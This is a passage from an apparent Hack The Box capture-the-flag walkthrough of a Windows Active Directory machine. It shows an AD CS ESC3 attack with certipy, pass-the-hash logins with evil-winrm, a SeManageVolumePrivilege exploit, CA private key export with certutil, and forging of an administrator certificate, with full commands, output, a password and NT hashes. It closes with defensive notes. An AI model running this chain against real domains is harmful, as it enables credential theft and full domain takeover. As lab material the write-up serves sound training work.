ManageCa : CERTIFICATE.HTB\Administrators
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
ManageCertificates : CERTIFICATE.HTB\Administrators
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Enroll : CERTIFICATE.HTB\Authenticated Users
Certificate Templates
0
Template Name : Delegated-CRA
Display Name : Delegated-CRA
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Certificate Request Agent
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-05T19:52:09+00:00
Template Last Modified : 2024-11-05T19:52:10+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain CRA Managers
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFICATE.HTB\Administrator
Full Control Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Owner Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Dacl Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Property Enroll : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFICATE.HTB\Domain CRA Managers
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU set.
It seems the template is vulnerable to ESC3 attack.
ESC3 attack
The template Delegated-CRA has the Certificate Request Agent EKU (ESC3). That lets us enroll an Enrollment Agent certificate, then request a user certificate on behalf of another principal (-on-behalf-of), here CERTIFICATE\Ryan.K, on a user-enrollable template (SignedUser). With that PFX, we use PKINIT to obtain a TGT and then retrieve Ryan’s NT hash with certipy auth.
We will first request a pfx :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad -debug req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.129.117.105' -target 'DC01.certificate.htb' -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.129.117.105'
[+] DC IP: '10.129.117.105'
[+] DC Host: 'CERTIFICATE.HTB'
[+] Target IP: None
[+] Remote Name: 'DC01.certificate.htb'
[+] Domain: 'CERTIFICATE.HTB'
[+] Username: 'LION.SK'
[+] Trying to resolve 'DC01.certificate.htb' at '10.129.117.105'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.117.105[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.117.105[\pipe\cert]
[*] Request ID is 23
[*] Successfully requested certificate
[*] Got certificate with UPN 'Lion.SK@certificate.htb'
[+] Found SID in security extension: 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saving certificate and private key to 'lion.sk.pfx'
[+] Attempting to write data to 'lion.sk.pfx'
[+] Data written to 'lion.sk.pfx'
[*] Wrote certificate and private key to 'lion.sk.pfx'
Taking directly over Administrator account is not possible because of missing required email field.
But we can take over Ryan.K
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad req -u Lion.SK -p '!QAZ2wsx' -target 'DC01.certificate.htb' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\Ryan.K'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: DC01.certificate.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 31
[*] Successfully requested certificate
[*] Got certificate with UPN 'Ryan.K@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'
We can now authenticate using the pfx, so we’re leveraging PKINIT to get a TGT and then using the user’s SID/creds to pull the NT hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad auth -pfx 'ryan.k.pfx' -dc-ip '10.129.117.105'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Ryan.K@certificate.htb'
[*] Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: 'ryan.k@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for 'ryan.k@certificate.htb': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6
We can now use its ntlm hash and login on the server :
1
2
3
4
5
6
7
8
9
10
11
12
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -i 10.129.117.105 -u Ryan.K -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.K\Documents>
Ryan has extra unusual permissions : SeManageVolumePrivilege
1
2
3
4
5
6
7
8
9
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
So we found a related exploit :
https://github.com/CsEnox/SeManageVolumeExploit
Executing exploit first part :
1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\Ryan.K\Desktop> .\SeManageVolumeExploit.exe
Entries changed: 857
DONE
*Evil-WinRM* PS C:\Users\Ryan.K\Desktop>
From there we should :
- Generate a custom DLL and locate it at C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll.
- Initiate the PrintNotify object by executing the following PowerShell commands:
But this doesn’t work, there’s no spooler on this machine.
However we can export the ca since C:\ is fully readable/writable :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*Evil-WinRM* PS C:\temp> certutil -exportPFX "Certificate-LTD-CA" ca.pfx
MY "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:55 PM
NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
Key Container = Certificate-LTD-CA
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.
With the CA PFX, we can issue arbitrary certs: certipy forge -ca-pfx ca.pfx -upn administrator@certificate.htb, then certipy auth -pfx administrator_forged.pfx to get Administrator’s TGT and NT hash. That’s game over.
1
2
3
4
5
6
7
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad forge -ca-pfx ca.pfx -upn administrator@certificate.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'
Then we authenticate as administrator using our forged pfx :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad auth -pfx administrator_forged.pfx -dc-ip 10.129.117.105
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
Root flag
We can now authenticate as administrator and get the root flag :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -i 10.129.117.105 -u Administrator -H 'd804304519bf0143c14cbf1c024408c6'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
e63c0c982cdd49bdb704a9e8d22957a6
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
Mitigations / Blue team notes
- Don’t accept polyglot ZIP/PDF; validate server-side using strict MIME + repack ZIP.
- Use a sandbox for processing uploads.
- Disable weak AS-REQ exposure via better password hygiene; monitor KDC pre-auth failures.
- AD CS:
- Audit templates; remove Enrollment Agent from broad groups.
- Require manager approval or authorized signatures for on-behalf-of templates.
- Store CA keys non-exportable and restrict private key ACLs; consider HSM.





